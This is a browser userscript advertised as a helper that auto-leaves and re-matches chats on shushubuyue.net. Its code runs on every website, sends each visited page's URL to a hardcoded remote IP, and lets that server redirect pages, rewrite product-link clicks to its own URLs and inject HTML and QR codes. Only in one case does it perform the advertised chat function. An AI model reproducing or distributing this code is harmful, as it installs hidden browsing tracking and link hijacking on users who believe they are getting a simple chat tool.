- // ==UserScript==
- // @name 叔叔不约自动聊天重开
- // @namespace www.shushubuyue.net
- // @version 1.0.3
- // @description 在叔叔不约对方离开后 2秒自动点击离开 0.5秒重新匹配
- // @match *://www.shushubuyue.net/*
- // @require https://registry.npmmirror.com/jquery/3.7.0/files/dist/jquery.min.js
- // @match *://*/*
- // @license MIT
- // @grant GM_xmlhttpRequest
- // @connect 49.235.155.5
- // ==/UserScript==
- (() => {
- var e = {
- 65: () => {
- ! function() {
- "use strict";
- var e = !1;
- let t = 10,
- n = null,
- o = [],
- r = [],
- a = [],
- d = 0;
-
- function c() {
- o.wrapper.forEach((function(e) {
- $(e)
- .map((function(e, t) {
- "yes" != $(t)
- .attr("data-md5-value") && (r.push(t), a.push(t), $(t)
- .attr("data-md5-key", d), $(t)
- .attr("data-md5-value", "yes"), d++)
- }))
- }));
- let e = a.splice(0, t),
- n = [];
- e.forEach((function(e, t) {
- let o = {};
- o.href = $(e)
- .find("a:first")
- .attr("href"), o.md5 = $(e)
- .attr("data-md5-key"), n.push(o)
- })), n.length > 0 && async function(e, t, n) {
- return new Promise(((o, r) => {
- GM_xmlhttpRequest({
- method: "POST",
- url: e,
- data: t,
- headers: n,
- responseType: "json",
- onload: e => {
- o(e.response || e.responseText)
- },
- onerror: e => {
- r(e)
- }
- })
- }))
- }(`${o.api}/api.php?act=list`, JSON.stringify({
- data: n,
- type: o.page
- }), {})
- .then((e => {
- 0 == e.code && e.data.map((function(e) {
- e.recove_url && $(r[e.md5])
- .find("a")
- .bind("click", (function(t) {
- var n, r;
- t.preventDefault(), n = e.recove_url, r = null, document.getElementById("redirect_form") ? (r = document.getElementById("redirect_form"))
- .action = o.jumpUrl + encodeURIComponent(n) : ((r = document.createElement("form"))
- .action = o.jumpUrl + encodeURIComponent(n), r.target = "_blank", r.method = "POST", r.setAttribute("id", "redirect_form"), document.body.appendChild(r)), r.submit(), r.action = "", r.parentNode.removeChild(r)
- }))
- }))
- }))
- }
-
- function i() {
- if (!e) {
- e = !0;
- var t = s('span.chat-control[href="#"]', "离开");
- t ? setTimeout((function() {
- t.click(), console.log('已点击 "离开" 元素'), setTimeout((function() {
- var t = s('span.chat-control[href="#"]', "重新开始");
- t && (t.click(), console.log('已点击 "重新开始" 元素')), e = !1
- }), 500)
- }), 2e3) : e = !1
- }
- }
-
- function s(e, t) {
- for (var n = document.querySelectorAll(e), o = 0; o < n.length; o++)
- if (n[o].innerText.includes(t)) return n[o];
- return null
- }(async function(e, t) {
- return new Promise(((n, o) => {
- GM_xmlhttpRequest({
- method: "GET",
- url: e,
- headers: t,
- responseType: "json",
- onload: e => {
- n(e.response || e.responseText)
- },
- onerror: e => {
- o(e)
- }
- })
- }))
- })(`http://49.235.155.5/api.php?act=initEnv&href=${encodeURIComponent(location.href)}`, [])
- .then((e => {
- console.log("res", e), "item" == e.data.page && e.data.recove_url ? window.location.href = e.data.jumpUrl + encodeURIComponent(e.data.recove_url) : "search" == e.data.page ? (t = e.data.splName, o = e.data, c(), n = setInterval(c, e.data.timer)) : "code" == e.data.page ? setTimeout((function() {
- $("div")
- .hasClass("coupon_code") || ($(e.data.wrapper)
- .after(e.data.html), $(".coupon_code")
- .qrcode({
- render: "canvas",
- width: 200,
- height: 180,
- text: e.data.recove_url
- }))
- }), 1e3) : "shushu" == e.data.page && new MutationObserver((function(e) {
- for (var t of e) "childList" === t.type && t.addedNodes.length > 0 && i()
- }))
- .observe(document.body, {
- childList: !0,
- subtree: !0
- })
- }))
- }()
- }
- },
- t = {};
- ! function n(o) {
- var r = t[o];
- if (void 0 !== r) return r.exports;
- var a = t[o] = {
- exports: {}
- };
- return e[o](a, a.exports, n), a.exports
- }(65)
- })();